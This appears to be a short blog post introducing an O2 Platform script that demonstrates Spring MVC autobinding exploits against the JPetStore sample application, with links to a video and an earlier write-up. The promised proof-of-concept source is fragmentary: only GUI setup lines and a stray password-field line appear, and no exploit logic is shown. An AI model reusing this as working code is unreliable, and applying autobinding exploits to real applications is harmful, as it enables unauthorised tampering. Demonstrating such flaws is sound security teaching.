O2 Script with BlackBox exploits for Spring MVC AutoBinding vulnerabilities in JPetStore

This script ( that you can find on your local O2 Scripts folder at ‘C:\O2\O2Scripts_Database\_Scripts\_Sample_Vulnerabilities\jPetStore\JpetStore – BlackBox Exploits.h2′ ) shows a blackbox aninimation of a couple Spring MVC Autobinding vulnerabilities in the JPetStore application.

You can see a video of this script in action here:

Also see this blog post for more details: http://diniscruz.blogspot.com/2011/07/two-security-vulnerabilities-in-spring.html  (includes a link to a white paper in this topic published in 2008 (but still very relevant))

Here is the source code of the O2 Script that creates a PoC GUI and allows the controlled execution of 3 variations of the exploits:

var topPanel = "JPetStore 'AutoBinding Vulnerability' PoC".popupWindow(1000,700);
//var topPanel = panel.clear().add_Panel();

var actionPanel = topPanel.insert_Above(40);
var ie = topPanel.add_IE_with_NavigationBar().silent(true);

                                ie.field("password",password);
